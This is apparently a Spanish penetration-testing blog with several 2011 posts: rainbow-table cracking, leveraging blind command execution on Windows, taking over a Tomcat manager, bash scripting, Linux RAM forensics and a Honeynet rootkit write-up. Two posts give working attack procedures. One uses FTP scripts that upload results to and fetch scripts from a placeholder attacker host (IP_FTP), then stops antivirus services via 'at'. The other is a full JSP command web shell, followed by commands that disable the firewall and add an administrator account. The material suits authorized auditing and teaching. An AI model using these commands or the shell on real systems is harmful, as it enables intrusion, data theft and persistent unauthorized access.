pre { background:#eeeeee; border:1px solid #A6B0BF; font-size:120%; line-height:100%; overflow:auto; padding:10px; color:#000000 } pre:hover { border:1px solid #efefef; } code { font-size:120%; text-align:left; margin:0;padding:0; color: #000000;} .clear { clear:both; overflow:hidden; }

Bienvenido al blog

Bienvenidos al blog de seguridad en sistemas

martes, 29 de marzo de 2011

Tablas arco iris (Rainbow tables)

En la siguiente entrada expondremos una pequeña introducción de la evolución en los algoritmos de cifrado y el motivo por el cual son importantes las rainbow tables exponiendo su funcionamiento y donde aplicarlas.

Comencemos con algo de historia, en un principio las contraseñas se almacenaban en texto en claro, por lo cual cuando un entorno era comprometido lo eran también las contraseñas de los usuarios. Debido a esto se emplearon algoritmos de cifrado o resumen (hash) de una sola dirección, es decir, que dado una contraseña le aplicamos un algoritmo que nos genera un hash, pero dado ese hash no existe un algoritmo inverso que nos proporcionara la contraseña. Por tanto ya no se almacenaban las contraseñas en texto en claro sino su hash ¿solucionado?

No, surgió otro problema: ante una misma contraseña se generaba un mismo hash, es decir H(p)=h, por lo cual se podían generar ficheros con una relación de dupla contraseña -  hash. Estos ficheros son el nacimiento de las tablas Raibow Tables, pero lo veremos más adelante.

Ante esta situación se creo el concepto de semilla o pizca de sal, que no es mas que un valor de un tamaño fijo que se introduce en el proceso de cifrado de tal forma que ante una misma contraseña existen tantos hashes como posibles valores pueda valer la semilla. Por lo tanto, si yo tengo una semilla de 2 bits puedo generar cuatro hashes distintos ante una misma contraseña:

H(p+00)=h1
H(p+01)=h2
H(p+10)=h3
H(p+11)=h4

Esto se puede observar si analizamos un fichero Shadow de un entorno Linux donde el segundo campo de este presenta una estructura de tres subcampos separada por el símbolo dolar ($), donde la primera indica el algoritmo hash empleado (1 es MD5, 5 es SHA256 y 6 es SHA512), la seguin indica el valor de la semilla utilizada y la tercera es el hash resultante.

¿Y por qué entonces son importantes las Rainbow Tables? pues porque aunque exista la semilla algunos desarrolladores han decidido no usarla. Estos entornos son principalmente aplicaciones de uso genérico que almacenan algunas contrasellas, algunas bases de datos y los sistemas operativos Windows, repito por si te lo has saltado, y los sistemas operativos Windows, tanto LM como NTLM.

Ante esta situación uno puede decir, ya está, obtengo el control de un controlador de dominio, obtengo el listado de hash de todas las contraseñas de los usuarios mediante fgdump o alguna herramienta parecida y a crackear con mis ficheros de duplas contraseña - hash, ¿verdad?

Pues no, porque el tamaño necesario para almacenar un fichero de duplas contraseña- hash para las posibles combinaciones de 8 caracteres, los cuales pueden ser: mayúsculas, minúsculas, numero o 8 caracteres no alfanuméricos requeriría un espacio de  (26+26+10+8)^8 * tamaño_dupla, vamos que muchos muchos TeraBytes son eso.

Es en este punto donde entran en acción las rainbow tables con los algoritmos de resumen y de reducción. Éstas consisten en dado una contraseña aplicar un algoritmos de resumen obteniendo un hash y sobre éste se aplica un algoritmo de reducción obteniendo una palabra. Este proceso se suele repetir hasta 10.000 veces, y en las últimas rainbow tables, hasta 40.000 veces. Veamos un ejemplo:
H(elefante) = h1 
R(h1) = banco
H(banco) = h2
R(h2) = ladrillo
H(ladrillo) = h3
R(h3)=roto
...
R(h10000)=sefini
Este proceso se repetirá hasta generar 10.000 o 40.000 hashes y contraseñas. Una vez finalizado ÚNICAMENTE se almacenará en la rainbow table la primera contraseña ("elefante") y la última ("sefini"), pero no las 10.000 duplas contraseña - hash, siendo el ahorro enorme. A estas entradas le llamaremos "palabra_ini:palabra_fin".

La pregunta entonces es, ¿y como obtengo la contraseña dado un hash? pues lo que hace el algoritmo es realizar el mismo proceso que hemos descrito con anterioridad pero para el hash del cual se pretende obtener la contraseña, al que llamaremos "hashQueQueremos":
R(hashQueQueremos) = casa
H(casa) = h1
R(h1) = perro
H(perro) = h2
...
R(hX) = sefini
...

Mientas se generan las 10.000 posibles palabras con el "hashQueQueremos" se busca si alguna de las palabras generadas existe en las tablas rainbow como "palabra_fin" de una de las duplas. Si existe, entonce se obtiene la "palabra_ini" de esa dupla y se vuelve a generar las 10.000 palabras a partir de la "palabra_ini".

En el ejemplo anterior hemos visto que en la reducción X se ha obtenido la palabra "sefini" y que dicha palabra existe en las rainbow tables con el par "elefante:sefini", por tanto el algoritmo lo que hace es volver a generar las 10.000 combinaciones que genera la palabra elefante en busca del "hashQueQueremos":

H(elefante) = h1
R(h1) = banco
H(banco) = h2
...
R(hY) = secreto
H(secreto) =hashQueQueremos
...
R(h10000)=sefini

Con esto sabemos que secreto a generado el "hashQueQueremos" y por tanto la contraseña buscada es "secreto".

El ahorro es tal que con una rainbow tables de 2GB suelo obtener en 5 horas el 80% de las contraseñas de un controlador de dominio con unos 500 usuarios si emplea cifrado LM, por defecto en los Win2000/2003. Suelo usar la herramienta Ophcrack con unas rainbow tables que me descargue en su momento, aunque en este enlace tenéis unas cuantas para descargar.

Para ciertas bases de datos con MD5 o SHA1 y sobretodo para auditorias en entornos Windows me ha resultado de muchísima ayuda. Espero que os sea de utilidad.

PD: esta entrada va para esos dos cracks de compañeros que tengo enfrente: Jose Luis Chica Spankito y el dietista David lladró. Ah! y para Raúl que creo que ha sido padre!

Continuar...

sábado, 26 de marzo de 2011

Ejecución de comandos sin acceso al servidor

El diseño de las plataformas Web evolucionan en función que aumentan la preocupación por la seguridad de estos entornos, siendo ya habitual encontrarse con plataformas dividididas en 3 bloques: servidor web, servidor de aplicaciones y base de datos.
  • El primer bloque es el servidor Web o Frontal Web cuyo puerto 80 o 443 es el único puerto accesible desde Internet. Contiene la parte estática de la Web.
  • El segundo bloque, y no accesible desde Internet, es el Servidor de Aplicaciones, el cual se encarga de ejecutar la parte dinámica de la web a petición del primer bloque.
  • El tercer bloque es la base de datos, consultada por el segundo bloque.
Suele ser bastante difícil encontrar vulnerabilidades en el frontal web, ya que estas suelen encontrarse en la parte dinámica de la web: el servidor de aplicaciones o la base de datos. El problema reside en que el auditor no tiene acceso directo sobre estos servidores, por ello aunque pudiéramos crearnos un usuario, no podríamos acceder al servidor y no obtendríamos ventaja de la vulnerabilidad.

De esta forma un auditor debe conocer una serie metodos o procedimientos para obtener ventaja al descubrir una vulnerabilidad en el servidor de aplicaciones que le permita ejecutar código en éste, ya sea por vulnerabilidad en el servidor o en el código. Veamos un diagrama ilustrativo:


Como vemos en el diagrama, es posible que podamos ejecutar comandos, pero carecemos de acceso directo al servidor desconociendo si realmente el entorno es vulnerable: necesitamos saber si realmente es vulnerable y alguna forma de obtener ventaja de esta vulnerabilidad.

Para ello todas las esperanzas residen en que el Firewall permita al servidor vulnerable acceder a Internet. En caso afirmativo nuestro objetivo será emplear alguna herramienta, que por defecto este en la mayoría de los servidores, que permita descargar y subir ficheros: el cliente FTP. Para el ejemplo de la entrada el servidor de aplicaciones será un Windows Server.

Nuestro objetivo será que de alguna forma ejecutar una orden en el servidor y que el resultado de ésta sea subida al FTP del auditor (Internet). Es importante que dicho FTP solo se inicie durante la auditoría y solo permitir la conexión desde la IP pública de la entidad que se está auditando.

La secuencia de comandos para ello consistirá en lanzar una serie de ordenes en el servidor web para que estas se ejecuten en el servidor de aplicaciones, es decir, aprovechar la vulnerabilidad del servidor. Primero se ejecutara una orden, volcando su resultado a un fichero "resultado.txt", posteriormente se creará una fichero "conexion.txt" de configuración de conexión a nuestro ftp y para finalizar se lanzara el cliente ftp para que suba a nuestro servidor ftp el resultado de la orden:
orden>resultado.txt
cmd /c echo open IP_FTP>conexion.txt
cmd /c echo user usuario contraseña>>conexion.txt
cmd /c echo put resultado.txt>>conexion.txt
cmd /c echo quit>>conexion.txt
ftp -n -s:conexion.txt
Una vez ejecutado esas 6 ordenes deberemos asegurarnos que hemos detectado tráfico al puerto 21 en nuestro servidor ftp, por ejemplo mediante un sniffer. En caso afirmativo el entorno es vulnerable ya que está ejecutando código y hemos obtenido el resultado de la orden.

De la misma forma que podemos ejecutar ordenes y almacenar los datos en un fichero que posteriormente es subido al FTP, también podríamos usarlo para descargarnos ficheros en el servidor vulnerable, especialmente: fgdump, meterpreter inverso o scripts vbs/bat.

Una vez disponemos de la capacidad de subir ficheros y descargar ficheros del servidor vulnerable necesitamos recopilar información del servidor, y para ello lo recomendable es usar scripts.

Primeramente nos crearemos un fichero que permita conectarse al servidor FTP y descargarse un "bat", ejecutando las siguientes ordenes en el servidor Web (y por tanto en el servidor de aplicaciones):
cmd /c echo open IP_FTP>conexion.txt
cmd /c echo user usuario contraseña>>conexion.txt
cmd /c echo get script.bat>>conexion.txt
cmd /c echo put resultado.txt>>conexion.txt
cmd /c echo quit>>conexion.txt
De esta forma con ejecutar únicamente la orden "ftp -n -s:conexion.txt" descargaremos el script de nuestro ftp y subiremos el resultado del anterior script. Por lo que podemos ir modificando el "script.bat" permitiendo recopilar información sin necesitadad de tener que reconstruir el fichero cada vez. Para ello los pasos recursivos serían los siguientes:

  1. Modificamos el script "script.bat" según requisitos.
  2. Ejecutamos la orden "ftp -n -s:conexion.txt" en el servidor web.
  3. Ejecutamos la orden "cmd /c script.bat" en el servidor web.

De esta forma ejecutando estas tres ordenes sobre el servidor de aplicaciones, a través del servidor web, seremos capaces de subir un script, ejecutarlo y obtener su resultado.

El siguiente paso consiste en identificar que información puede interesarnos. Lógicamente lo primero es conocer que usuario somos, en que directorio nos encontramos, que sistema está corriendo detras, si pertenemos a un DC, procesos, servicios, etc. Por ello creamos y ejecutaremos el siguiente "script.bat":
echo SO>resultado.txt
echo %OS%>>resultado.txt
echo Part Principal>>resultado.txt
echo %SYSTEMDRIVE%>>resultado.txt
echo Windows>>resultado.txt
echo %SYSTEMROOT%>>resultado.txt
echo Hostname>>resultado.txt
echo %COMPUTERNAME%>>resultado.txt
echo DC>>resultado.txt
echo %LOGONSERVER%>>resultado.txt
echo Usuario>>resultado.txt
echo %USERNAME%>>resultado.txt
echo Homepath>>resultado.txt
echo %HOMEPATH%>>resultado.txt
echo Fecha>>resultado.txt
echo %DATE%>>resultado.txt
echo Hora>>resultado.txt
echo %TIME%>>resultado.txt
time /T>>resultado.txt
echo Path>>resultado.txt
echo %PATH%>>resultado.txt
echo Lista procesos>>resultado.txt
tasklist>>resultado.txt
echo Lista servicios>>resultado.txt
sc query state= all>>resultado.txt
echo Configuracion red>>resultado.txt
ipconfig /all>>resultado.txt
echo Conexiones>>resultado.txt
netstat -nabo>>resultado.txt
echo ARP>>resultado.txt
arp -a>>resultado.txt
echo Compartido>>resultado.txt
net use>>resultado.txt
echo Directorio>>resultado.txt
dir>>resultado.txt
echo Usuarios>>resultado.txt
net user>>resultado.txt
echo Grupo>>resultado.txt
net localgroup>>resultado.txt
Con esta información ya sabemos lo principal del servidor, por lo que podemos proceder a la segunda fase respondiendo a la siguiente pregunta ¿que usuario somos?

Si no somos un usuario privilegiado el objetivo es realizar una escalada de privilegios a Administrador. Sí somos Administrador nuestro obejtivo será subir a SYSTEM para volcar la hash de usuarios y contraseñas, así como, para desplegar puertas traseras inversas, sniffer, escaneadores, pivoting etc.

El problema que nos encontraremos en esta situación es que el servidor presente un HIDS o un Antivirus que nos bloqueé tanto los exploits de escalada de privilejios como las herramientas indicadas con anterioridad. Para ello tenemos que servirnos de la información recopilada, donde se nos ha mostraba la lista de servicios y de procesos. Con ella deberemos identificar de que HIDS/ Antivirus se trata y desactivarlo, pero tened en cuenta que solo el usuario SYSTEM puede llevar a cabo dicha tarea. Es la pescadilla que se muerde la cola.

Para saltarse está restricción el auditor puede servirse de la herramienta "at", puesto que una tarea programada por el Administrador con "at" es ejecutada con privilegios del usuario SYSTEM. Pero cuidado, es importante que las tareas se deben repetir, ya que, normalmente los antivirus presentan más de un servicio donde uno de ellos (WatchDog) se encarga de levantar al resto de servicios. De esta forma puede ocurrir que mientras detengamos los otros servicios el WatchDog los este levantando, por lo que aunque detengamos el WatchDog, el resto de servicios hayan sido levantados previamente por este.

Por ello ejecutaremos un script de forma repetida, donde al disponer de la hora en el anterior "script.bat" sabremos a que hora debemos programarlo, en nuestro ejemplo las 17:20:
at 17:20 sc stop NombreServicio1
at 17:20 sc stop NombreServicio2
at 17:20 sc stop NombreServicio1
at 17:20 sc stop NombreServicio2
Una vez parado el antivirus / HIDS ya tendremos control total como SYSTEM del entorno, por lo que ya podremos realizar conexiones inversas, obtención de los hashes y pivotar desde el servidor vulnerable.

El único problemas que nos podemos encontrar es que se trate de un Windows 2008, ya que en estos entornos la herramienta "at" no se ejecutará como SYSTEM y por tanto no podremos detener el HIDS o el Antivirus.

Ante esto tenemos dos posibilidades, buscar una vulnerabilidad en el antivirus que permita detenerlo (hace unos meses se publico una para McAffe) o emplear un encode, por ejemplo mediante msfencode, para modificar el código y no sea detectado por el antivirus, es decir, código polimorfico: es lo mismo sumar a 0 5, que restar a 0 -5.

Sirva como apunte que si hemos sido capaces de acceder al entorno desde un escritorio remoto o de forma física, podemos usar el Rootkit Revealer para hacernos SYSTEM mediante la ejecución de una consola de comandos (cmd) desde el menú de ayuda, pero recordar que esta herramienta solo funciona en x86 y no en x86_64.

Con esto ya hemos puesto una de las múltiples formas de poder sacar ventaja ante una vulnerabilidad en un servidor al que no tenemos acceso directo, siempre claro está, se le permita al servidor acceder a internet.

PD: no sabía que título poner a esta entrada ya que es difícil de explicar en una sola frase. 
PD2: si alguien conoce otra forma de hacerse SYSTEM en Win2008 que permita saltarse el antivirus indicarlo :D
PD3: la idea fue tomada del análisis del malware ASN de mi compañero David Lladro.

Continuar...

domingo, 13 de marzo de 2011

Tomar ventaja del manager de Tomcat

Durante un test de intrusión un auditor podría tomar el control de una aplicación web, y en ocasiones, que dicha aplicación permita la administración de un servicio. Una vez conseguido dicho acceso, el auditor tendrá como objetivo intentar ejecutar comandos en el servidor.

Para mostrar como se realizaría esto se va a tomar de ejemplo un servidor Windows 2008 donde se ha conseguido acceso a la aplicación manager del Tomcat, el cual permite desplegar aplicaciones, detenerlas, ejecutarlas, reiniciarlas y eliminarlas. Es muy común que el usuario y contraseña empleados en el manager sean los del ejemplo de configuración (comentados por defecto) o los de la documentación de tomcat, es decir, admin/admin, tomcat/tomcat o tomcat/s3cret. Dicho fichero se encuentra en "home_tomcat/conf/tomcat-users.xml".

Para ello, una vez obtenido el usuario y la contraseña de administración del manager tendremos como objetivo conseguir desplegar un WAR que permita ejecutar comandos. Para la entra usaremos un script JSP de la "hacker_webkit" que me proporciono en su día Roberto y Raúl (compañeros de trabajo), cuyo código vemos a continuación:
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
Una vez guardado el script anterior con el nombre "cmd_win32.jsp" tenemos que crearnos el war:
# apt-get install fastjar
# mkdir consola
# cd consola

(creamos el fichero cmd_win32.jsp)
# jar -cvf consola.war *

adding: META-INF/ (in=0) (out=0) (stored 0%)
adding: META-INF/MANIFEST.MF (in=56) (out=56) (stored 0%)
adding: cmd_win32.jsp (in=272) (out=129) (deflated 52%)
Total:
------
(in = 312) (out = 503) (deflated -61%)
Ahora accedemos a la consola de administración del Tomcat, que por defecto está en "http://IP:8080/manager/html", introduciendo las credenciales obtenidas.  Una vez accedido, veremos que en la parte inferior con título "WAR file to deploy" se nos permite seleccionar un war para desplegarlo:



Pinchamos en "Examinar", seleccionamos nuestro "consola.war" y lo desplegamos pinchando sobre "Deploy". Dependiendo de la versión de tomcat la aplicación se ejecutará automáticamente o será necesario pinchar sobre "Start":



El siguiente paso será acceder a la consola: "http://IP:8080/consola/cmd_win32.jsp". Una vez accedido a la consola realizaremos los pasos básicos para crearnos un usuario, añadir el usuario al grupo administradores y al de escritorio remoto. Podemos encontrarnos con la necesidad de habilitar el escritorio remoto y deshabilitar el firewall de Windows. Para ello ejecutaremos los siguientes comandos:
Ver información del usuario:
set U
Deshabilitar firewall:
netsh firewall set opmode disable
Comprobar si el RD está arrancado:
sc query termservice
Crearnos un usuario:
net user prueba Est0Es1. /add
Añadirlo al grupo adminstradores:
net localgroup "Administrators" prueba /add
Añadirlo al grupo de RD:
net localgroup "Remote Desktop Users" prueba /add
Comprobar que todo ha salido bien:
net user prueba
Los resultados que deberá dar la shell será algo como lo siguiente:
Command: set U
USERDOMAIN=CASA
USERNAME=DC2008$
USERPROFILE=C:\Windows\system32\config\systemprofile
 
Command: netsh firewall set opmode disable
Ok.
 
Command: sc query termservice
SERVICE_NAME: termservice
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

Command: net user prueba Est0Es1. /add
The command completed successfully.
 
Command: net localgroup "Administrators" prueba /add
The command completed successfully.
 
Command: net localgroup "Remote Desktop Users" prueba /add
The command completed successfully.
 
Command: net user prueba
User name prueba
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/12/2011 9:37:58 PM
Password expires 4/23/2011 9:37:58 PM
Password changeable 3/13/2011 9:37:58 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Remote Desktop Users
Global Group memberships *Domain Users
The command completed successfully.

Con esto ya tendremos acceso al servidor con un usuario administrador por escritorio remoto. Nos vemos en la próxima entrada.

Continuar...

sábado, 12 de marzo de 2011

Seguridad de la orden "while read" en Bash


Cuando necesitamos recorrer las líneas de un fichero mediante un script de shell Bash nos encontramos con la necesidad de modificar el separador natural, que es el espacio, por el salto de linea. Para ello modificamos la variable “IFS” tal y como se ilustra en el siguiente script:
#!/bin/bash --
OIFS=$IFS
IFS="
"
for i in `cat /etc/resolv.conf`;
do
       echo $i
done
$ ./prueba.sh
# Generated by NetworkManager
domain local.lan
search local.lan
nameserver 80.58.61.250
nameserver 80.58.61.254

Pero la modificación del separador natural puede alterar el funcionamiento de las acciones realizadas dentro del bucle. Por ello se suele emplear la instrucción “while read” que permita también la lectura de ficheros por líneas:
#!/bin/bash --
valor="caca"
cat /etc/resolv.conf | while read i
do
      echo $i
done
$ ./prueba.sh
(mismo resultado que el anterior)
Hasta este punto todo claro, pero... ¿estáis seguros de lo que interpreta Bash en la sentencia anterior? Realmente se ejecuta todo el código dentro del “while read” como un subproceso, por lo cual, todas las modificaciones realizadas sobre las variables dentro de la instrucción solo existen dentro de ese subproceso. Veámoslo:
#!/bin/bash --
valor="caca"
cat /etc/resolv.conf | while read i
do
       valor=$i
done
echo "Valor: $valor"
$ ./prueba.sh
Valor: caca
Aunque la variable declarada antes de la instrucción “while read” sea modificada dentro de esta, la variable mantiene su valor sin que las modificaciones realizadas dentro del bucle le afecten, debido a que que, el código dentro del bucle se ejecuta como un subproceso.

Para que las modificaciones realizadas dentro de la instrucción se apliquen a las variables externas se debe leer el fichero de la siguiente forma:
#!/bin/bash --
valor="caca"
while read i
do
      valor=$i
done < /etc/resolv.conf
echo "Valor: $valor"
$ ./prueba.sh
Valor: nameserver 80.58.61.254
El problema de la opción anterior es que solo sirve para tratar directamente un fichero, pero no para tratar la ejecución de ordenes:
#!/bin/bash --
valor="caca"
while read i;
do
     valor=$i
done < /etc/resolv.conf | grep nameserver
echo "Valor: $valor"
$ ./prueba.sh
Valor: caca
Para poder hacerlo es necesario pasar la orden entre paréntesis y con un doble menor separados por espacio en blanco:
#!/bin/bash --
valor="caca"
while read i;
do
      valor=$i
done < <(cat /etc/resolv.conf | grep nameserver)
echo "Valor $valor"
$ ./prueba.sh
Valor: nameserver 80.58.61.254
 
De esta forma sí que se podrá lanzar ordenes y tratar el resultado de salida, línea por línea, sin necesidad de modificar la variable de separación natural IFS.

Nos vemos en la próxima entrada.

Continuar...

lunes, 7 de marzo de 2011

Análisis forense de memoria RAM en Linux


Durante el inicio de un incidente, el grupo encargado de su gestión debe comprobar primeramente si el incidente ha ocurrido. En caso afirmativo el primer paso a realizar sobre él o los entornos afectados es el volcado de la memoria RAM, puesto que es la pieza más crítica al ser la parte más volátil, y por ello, la que más fácilmente puede ser alterada durante el incidente. 


Para ello se suelen emplear tanto herramientas libres como privadas, principalmente winXXdd o Memoryze para entornos Windows y memdump para entornos Linux. Esa captura debe ser copiada a otro entorno y nunca en el sistema de ficheros del entorno afectado, para ello se puede emplear NetCat (nc) o Samba (CIFS). 

Pero es el análisis posterior donde radica la dificultad. Debemos de ser capaces, de dado el fichero en crudo de la memoria RAM, poder obtener información importante como qué programas se estaban ejecutando, qué puertos escuchando, qué ficheros abiertos, qué usuarios conectados, qué rutas ARP, qué configuración de las interfaces de red, etc. 

En caso de tratarse de entornos Windows existen varias herramientas como Memparser para Windows 2000, Volatility para Windows XP SP2 y 3, o la herramienta por excelencia que consiste en la combinación de la captura de la memoria mediante Mandiant Memoryze y su posterior análisis con Audit Viewer.

Por desgracia en entornos Linux se carecía de cualquier tipo de herramienta que nos permitiera obtener esta información. Habían pequeños proyectos pero no terminaban de cuajar. Pero recientemente tuve el placer de leer una entrada en un blog donde se informaba que la herramienta Volatility, cuya última versión era del 2008, había sido retomada de nuevo, y entra las nuevas mejoras, se encontraba el soporte a una serie de entornos Linux. 

Junto con dicha entrada del 1 de Marzo, coincidió que el proyecto Honeynet sacaba un nuevo reto de análisis forense donde era necesario la gestión de la memoria RAM en un entorno Linux. ¿Un buen lugar donde probar esta nueva herramienta, verdad? 

Empecemos instalando dependencias, descargando la herramienta y la captura RAM del reto:
# apt-get install subversion unzip
# svn checkout http://volatility.googlecode.com/svn/branches/linux-support vollinux
# cd vollinux
# wget http://yom.retiaire.org/dl/victoria-v8.memdump.img.zip
# unzip victoria-v8.memdump.img.zip
# chmod ug+x *.py 
Para usar la nueva versión de Volatiliy (1.4_rc1 en nuestro caso), es necesario indicarle el perfil de la captura, es decir, la distribución y el kernel usado por el equipo donde se realizo el volcado de la memoria. Para ello es necesario descargarse la captura RAW de la partición del reto y obtener esta información: 
# wget http://yom.retiaire.org/dl/victoria-v8.sda1.img.zip
# unzip victoria-v8.sda1.img.zip
# mkdir tmp
# fsstat victoria-v8.sda1.img | grep -i "file system type"
File System Type: Ext3
# mount -t ext3 -o loop,noatime victoria-v8.sda1.img tmp/
# umount tmp/
# mount -t ext3 -o loop,ro,noatime victoria-v8.sda1.img tmp/ 
Sí, hemos tenido que montar en modo escritura la primera vez porque sino nos era imposible montar la imagen. Esto ha modificado valores en la imagen y no es validad para realizar el análisis forense de ésta, pero nos sirve para acceder a la información que buscamos. Esto debe de ser una medida para intentar borrar huellas y aumentar la dificultad del reto, pero esto ya lo trataremos en otra entrada. Obtengamos la información requerida:
# ls tmp/boot/
config-2.6.26-2-686 grub initrd.img-2.6.26-2-686 System.map-2.6.26-2-686 vmlinuz-2.6.26-2-686
# cat tmp/etc/debian_version
5.0.7
# cat tmp/etc/apt/sources.list | grep lenny
...
deb http://ftp.fr.debian.org/debian/ lenny main
# umount tmp/
Con esto sabemos ya que el perfil es una Debian 5.07 con kernel 2.6.26-2-686. Veamos que perfil se adapta a esta configuración:
# python volatility.py --info
...
PROFILES
--------
...
debian2626 - A Profile for debian 2.6.26-2-686
..
El perfil que nos interesa es "debian2626". Ya podemos usar la nueva herramienta mediante la siguiente sintaxis: 
# python volatility.py -f <imagen> --profile=<perfil> <plugin> 
Con ello si quisieramos obtener que puertos estaban a la escucha en el equipo sería mediante el plugin "linux_netstat": 
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_netstat
Volatile Systems Volatility Framework 1.4_rc1
UDP 0.0.0.0:111 0.0.0.0:0 portmap/1429
TCP 0.0.0.0:111 0.0.0.0:0 LISTEN portmap/1429
UDP 0.0.0.0:769 0.0.0.0:0 rpc.statd/1441
...
UDP 0.0.0.0:68 0.0.0.0:0 dhclient3/1624
...
TCP 0.0.0.0:25 0.0.0.0:0 LISTEN exim4/1942
TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065
TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065
...
TCP 192.168.56.102:56955 192.168.56.1:8888 ESTABLISHED nc/2169 

Ups, ese netcat en el puerto 8888 y esos sh en el puerto 4444 que mala pinta tiene ¿verdad?:

Otros plugins interesantes son los siguientes:
  • linux_list_open_files: permite obtener el listado de ficheros.
  • linux_task_list_ps: procesos en ejecución.
  • linux_lsmod: muestra los módulos del núcleo cargados.
  • linux_mount: las particiones montadas en el entorno.
  • linux_ifconfig: configuración de las interfaces de red.
  • linux_route: tabla de enrutamiento.
  • linux_arp: tablas arp.
Por tanto con ejecutar las siguientes ordenes tendríamos respuesta a muchas de las preguntas del reto: 
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_list_open_files
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_task_list_ps
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_lsmod
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_mount
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_netstat
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_ifconfig
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_route
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_arp
Con esto tenemos la base de por donde comenzar con el reto, que toda sea dicho termina el día 30 de Marzo, queda casi un mes para que finalice. ¡¿A que esperas para apuntarte?!

Continuar...

lunes, 21 de febrero de 2011

El antiguo reto de la honeynet (III)

Ya por fin llegamos al final del reto. Dentro de la multitud de detalles que me habré dejado y seguramente vosotros habréis descubierto, nos queda comprobar como el posible atacante consigue acceder al servidor.

Recordemos que se creo un par de cuentas que luego fueron eliminadas. ¿Algo raro verdad? Podría tratarse de una escalada de privilegios mediante ficheros suid, pero para ello necesitaría un usuario no privilegiado en el sistema, pero también lo ha borrado. Esto nos indica que seguramente ha instalado algún servicio que le permite autenticarse sin requerir estar en el sistema.

Para averiguar que ha podido ocurrir vamos a revisar de nuevo la líena de tiempo creada con anterioridad. Si analizamos detenidamente la fecha de implantación del RootKit veremos las siguientes entradas:

Wed Nov 08 2000 14:53:12   343586 mac. r/rrwxr-xr-x 0        0        110004   /local/bin/ssh-agent1
                               10 mac. l/lrwxrwxrwx 0        0        110005   /local/bin/ssh-agent -> ssh-agent1
                           337617 mac. r/rrwxr-xr-x 0        0        110006   /local/bin/ssh-add1
                                8 mac. l/lrwxrwxrwx 0        0        110007   /local/bin/ssh-add -> ssh-add1
                            90424 mac. r/rrwxr-xr-x 0        0        110008   /local/bin/scp1
                                4 mac. l/lrwxrwxrwx 0        0        110009   /local/bin/scp -> scp1
                            21228 mac. r/rrwxr-xr-x 0        0        110010   /local/bin/make-ssh-known-hosts1
                               21 mac. l/lrwxrwxrwx 0        0        110011   /local/bin/make-ssh-known-hosts -> make-ssh-known-hosts1
                           643674 m.c. r/rrwxr-xr-x 0        0        33115    /local/sbin/sshd1
                                5 m.c. l/lrwxrwxrwx 0        0        33116    /local/sbin/sshd -> sshd1

Ya con esto nos sobra para despejar dudas. Es lógico que si el atacante requiere un servicio que no está disponible en el sistema lo instale, pero que existiendo el servicio instale uno nuevo añadiendo al nombre del servicio un 1 y que los binarios del servicio original sean ahora simples enlaces dinámicos al servicio añadido por el atacante, nos indica una cosa: el servidor sobreescrito está modificado para permitir la autenticación directa del atacante sin pasar por los métodos tradicionales.

Accedemos al directorio "/reto/mnt/usr/local/bin" y analizamos los ficheros modificados por el atacante. Lo que primero nos llama la atención es el SUID del fichero ssh1. Pero más que el cliente nos interesa ver el servicio que se arranca el ssh ("sshd1") que se encuentra en "/reto/mnt/usr/local/sbin". Una forma sencilla de poder analizar el binario sshd1 es usar de nuevo un srch_strings, aunque lógicamente lo mejor sería usar el gdb, pero esto requeriría varias entradas en el blog. Veamos a continuación que strings nos muestra esto:
#srch_strings -a -td sshd1
...
146880 d33e8f1a6397c6d2efd9a2aae748eb02
...
148316 /usr/tmp/nap
148352 +-[ User Login ]-------------------- --- --- - -
148416 | username: %s password: %s hostname: %s
148480 +----------------------------------- ----- --- -- -- -
...
543582 md5.h
...
550891 md5passwd:(0,30)=ar(0,1);0;32;(0,2)
550927 md:(126,2)
550938 md5buffer:(0,31)=ar(0,1);0;31;(0,11)
...
Me llaman la atención dos cosas, por un lado la primera entrada ya que esa forma de cadena me recuerda a un hash MD5, la segunda el "/usr/tmp/nap" y el trozo de código a continuación. Veamos primero que hay en "/reto/mnt/usr/tmp/nap":
# cat /reto/mnt/usr/tmp/nap
+-[ User Login ]-------------------- --- --- - -
| username: root password: tw1Lightz0ne hostname: c871553-b.jffsn1.mo.home.com
+----------------------------------- ----- --- -- -- -
Lo que nos imaginavamos ¿verdad?, el SSH aparte de supuestamente permitir al atacante autenticarse sin necesidad de tener usuario en el sistema, está registrando los usuarios y contraseñas que acceden al ssh. Apuntamos el usuario y la contraseña. El siguiente paso consistirá en revisar la contraseña del usuario root del entorno para comprobar si se tratan de la misma. Analizando la contraseña de Root del entorno vemos que se trata de un MD5 ($1$) con semilla "eJ2yI2DF" y hash "0cXQKjrEYcYHM/qJu2X6Z". Vamos a usar el john the ripper para comprobar si ese usuario de root es el mismo que el del sistema:
# apt-get install john
# cd /reto/aux/
# echo "tw1Lightz0ne" > passwd
